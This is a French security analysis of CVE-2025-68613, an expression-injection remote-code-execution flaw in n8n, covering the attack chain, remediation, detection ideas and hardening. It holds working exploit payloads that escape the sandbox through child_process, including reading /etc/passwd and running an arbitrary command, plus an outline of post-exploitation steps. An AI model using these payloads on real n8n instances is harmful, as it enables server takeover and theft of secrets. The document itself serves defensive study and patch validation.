
CVE-2025-68613 (n8n) Analyse critique de RCE + recommandations défensives (validation du correctif, idées de détection et conseils de durcissement)
CVE-2025-68613 est une vulnérabilité critique d'exécution de code à distance dans la plateforme d'automatisation de workflows n8n qui permet à des attaquants authentifiés d'exécuter des commandes système arbitraires via l'injection d'expression.
⚡ Statistiques rapides
|
🎯 Faits clés
|
| Propriété | Valeur |
|---|---|
| 🆔 ID CVE | CVE-2025-68613 |
| 📊 Score CVSS | 9.9 (Critique) 🔴 |
| 🔗 Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| 🏷️ CWE | CWE-913 (Contrôle inapproprié des ressources de code gérées dynamiquement) |
| 📦 Versions affectées | 0.211.0 → 1.120.3, 1.121.0 |
| ✅ Versions corrigées | 1.120.4, 1.121.1, 1.122.0+ |
n8n est une plateforme open-source d'automatisation de workflows permettant l'intégration sans code/à faible code dans plus de 400 applications. Elle est largement déployée dans :
| 🏢 Cas d'usage | 📝 Description |
|---|---|
| 🔧 DevOps | Pipelines d'automatisation, intégrations CI/CD |
| 🛡️ Opérations de sécurité | Workflows SOAR, réponse aux incidents |
| 💼 Entreprise | Automatisation des processus, workflows de données |
| 📊 Données | Processus ETL, intégrations API |
🔓 CHAÎNE DE VULNÉRABILITÉ :
┌─────────────────────────────────────────────────────────────────┐
│ 📝 Langage d'expression n8n → Gestion dynamique des données │
│ ↓ │
│ ⚠️ Isolation insuffisante du sandbox dans l'évaluation serveur│
│ ↓ │
│ 💀 Une expression malveillante contourne le sandbox │
│ ↓ │
│ 🖥️ Accès au module child_process de Node.js │
│ ↓ │
│ 💥 RCE COMPLÈTE - Exécution de commandes système │
└─────────────────────────────────────────────────────────────────┘
Prérequis pour l'exploitation :
| # | 📋 Exigence | 📝 Détails |
|---|---|---|
| 1️⃣ | Authentification | Compte utilisateur n8n valide (faible privilège suffisant) |
| 2️⃣ | Permissions | Capacité de création/édition de workflows |
| 3️⃣ | Accès réseau | Possibilité d'atteindre l'instance n8n |
| 🏷️ Attribut | 📊 Valeur | 🔥 Risque |
|---|---|---|
| Complexité | FAIBLE (AC:L) | 🔴 Élevé |
| Interaction utilisateur | Aucune requise | 🔴 Élevé |
| Portée | Modifiée | 🔴 Critique |
graph TD
A[🔐 Utilisateur authentifié] -->|Crée| B[📝 Nouveau workflow]
B -->|Injecte| C[💀 Expression malveillante]
C -->|Déclenche| D[⚡ Évaluation de l'expression]
D -->|Exploite| E[🔓 Contournement du sandbox]
E -->|Accède à| F[🖥️ Exécution Node.js]
F -->|Exécute| G[💥 Commande système via child_process]
G -->|Atteint| H[☠️ COMPROMISSION TOTALE DU SERVEUR]
style A fill:#4CAF50,color:#fff
style C fill:#ff9800,color:#fff
style E fill:#f44336,color:#fff
style H fill:#9c27b0,color:#fff
⚠️ AVERTISSEMENT : Ce qui suit est à but pédagogique uniquement. L'exploitation non autorisée est illégale.
Accès initial à la plateforme d'automatisation de workflows n8n vulnérable.
🔓 Tableau de bord d'accueil n8n - Point d'entrée
Créer un nouveau workflow qui contiendra la charge malveillante.
📝 Création d'un nouveau workflow avec « Ajouter la première étape »
Configurer le déclencheur du workflow – le déclencheur manuel permet une exécution à la demande.
🎯 Sélection du déclencheur manuel pour l'activation du workflow
Ajouter le nœud « Edit Fields (Set) » qui contiendra l'expression malveillante.
🔧 Ajout du nœud « Edit Fields (Set) » pour l'injection de la charge
L'étape critique – injecter l'expression de contournement du sandbox pour obtenir une RCE.
💀 L'expression malveillante exécute la commande 'id' avec succès !
// 🔴 CHARGE MALVEILLANTE (NE PAS UTILISER ILLÉGALEMENT)
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString(); })() }}
Sortie affichée : uid=1000(node) gid=1000(node) groups=1000(node) ✅ RCE CONFIRMÉE !
GIF Injection de code
⚠️ AVERTISSEMENT : Ces charges sont destinées uniquement aux tests de sécurité autorisés. Toute utilisation non autorisée est illégale !
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString(); })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('pwd').toString(); })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString(); })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('VOTRE_COMMANDE_ICI').toString(); })() }}
💀 Lecture de /etc/passwd – Accès complet au système de fichiers démontré !
| 🎯 Charge | 📋 Sortie attendue |
|---|---|
id | uid=1000(node) gid=1000(node) groups=1000(node) |
pwd | /app |
cat /etc/passwd | Liste complète des utilisateurs système (root, daemon, node, etc.) |
env | Toutes les variables d'environnement, y compris les secrets |
ls -la / | Liste du système de fichiers racine |
┌─────────────────────────────────────────────────────────────────────────┐
│ 🔴 CAUSE RACINE DE LA VULNÉRABILITÉ │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ L'évaluateur d'expressions n8n NE DISPOSE PAS d'un module de │
│ nettoyage pour empêcher les expressions de fonction d'accéder à : │
│ │
│ ❌ this.process → Objet processus Node.js │
│ ❌ mainModule.require → Système de chargement de modules │
│ ❌ child_process → Exécution de commandes système │
│ │
│ Cela permet un accès direct aux modules système et une exécution de │
│ code arbitraire ! │
│ │
└─────────────────────────────────────────────────────────────────────────┘
|
|
# 🛡️ Mettre à niveau n8n vers la version corrigée
npm install -g n8n@latest
# Ou avec Docker
docker pull n8n/n8n:1.122.0
| Phase | 🔥 Action | 💀 Impact |
|---|---|---|
| 1️⃣ | Accès initial | Authentification sur n8n |
| 2️⃣ | Exécution | Soumettre un workflow malveillant |
| 3️⃣ | Persistance | Déployer un reverse shell/backdoor |
| 4️⃣ | C2 | Établir un poste de commande et contrôle |
| 5️⃣ | Actions | Exfiltration de données, mouvement latéral |
| 🎯 Action | 💥 Niveau d'impact |
|---|---|
| 🔑 Vol d'identifiants | Extraction de clés API, jetons OAuth, mots de passe DB |
| 📤 Exfiltration de données | Données de workflow, journaux d'exécution, informations métier |
| 🔒 Persistance | Tâches cron, scripts de démarrage, webshells |
| 🔀 Mouvement latéral | Pivot vers bases de données, CI/CD, infrastructure cloud |
| 🗑️ Manipulation de workflows | Modification/destruction de la logique d'automatisation |
🔴 Confidentialité (ÉLEVÉE)
|
🟠 Intégrité (ÉLEVÉE)
|
🟡 Disponibilité (ÉLEVÉE)
|
| # | 📋 Méthode | 🔍 Ce qu'il faut surveiller |
|---|---|---|
| 📜 | Analyse des journaux | Commandes inhabituelles depuis le processus n8n, expressions échouées |
| 🌐 | Réseau | Connexions sortantes vers des IP inconnues, grandes requêtes POST |
| ⚡ | Exécution | Invoctions de child_process, spawns inattendus |
| 📦 | Audit de version | Vérification par rapport à la plage de versions vulnérables |
#!/usr/bin/env bash
# 🔍 Audit de version n8n pour CVE-2025-68613
echo "🔍 Vérification de la version n8n..."
if command -v n8n >/dev/null 2>&1; then
VER="$(n8n --version | tr -d 'v' | head -n1)"
if [[ "$VER" < "1.120.4" ]] && [[ "$VER" >= "0.211.0" ]]; then
echo "⚠️ VULNÉRABLE : n8n $VER affecté par CVE-2025-68613"
echo "📦 Requis : Mettre à niveau vers 1.120.4, 1.121.1 ou 1.122.0+"
exit 2
else
echo "✅ SÉCURISÉ : n8n $VER est corrigé"
fi
else
echo "❌ n8n introuvable dans le PATH"
fi
| 🔢 Priorité | 🛠️ Action | 📝 Détails |
|---|---|---|
| 🔴 P0 | CORRIGER MAINTENANT | Mettre à niveau vers 1.120.4, 1.121.1 ou 1.122.0+ |
| 🟠 P1 | Restreindre l'accès | Limiter la création de workflows aux utilisateurs de confiance |
| 🟡 P2 | Durcissement du conteneur | Déployer avec des restrictions de sécurité |
# 🛡️ Déploiement durci de n8n
FROM n8n/n8n:1.122.0
# 👤 Exécution en tant qu'utilisateur non root
USER node
# 🔒 Appliquer ces indicateurs d'exécution :
# --read-only --tmpfs /tmp:rw,noexec,nosuid
# --cap-drop=ALL --cap-add=NET_BIND_SERVICE
# --security-opt seccomp=n8n-seccomp.json
| 🛡️ Mesure | 📝 Implémentation |
|---|---|
| 🌐 Segmentation réseau | Isoler les instances n8n |
| 🔥 Règles WAF | Surveiller les motifs d'expression |
| 📜 Journalisation d'audit | Activer la journalisation complète |
| 🔍 Revues de sécurité | Évaluations régulières des workflows |
| 🔓 Moindre privilège | Appliquer des contrôles d'accès |
Comment concevriez-vous une règle de détection pour identifier les tentatives d'injection d'expression dans les définitions de workflow n8n avant leur exécution, en tenant compte de la nécessité d'équilibrer sécurité et utilisation légitime d'expressions dynamiques ?
Bonus : Quelles protections au moment de l'exécution implémenteriez-vous pour limiter le rayon d'explosion en cas de contournement du sandbox malgré la correction ?
#CVE-2025-68613 #n8n #RCE #Expression-Injection #Workflow-Automation
#Sandbox-Escape #CWE-913 #Critical-Vulnerability #Pentesting #Blue-Team
⚠️ AVERTISSEMENT : Cette analyse est uniquement destinée à des fins éducatives et de sécurité défensive.
L'exploitation non autorisée de vulnérabilités est ILLÉGALE.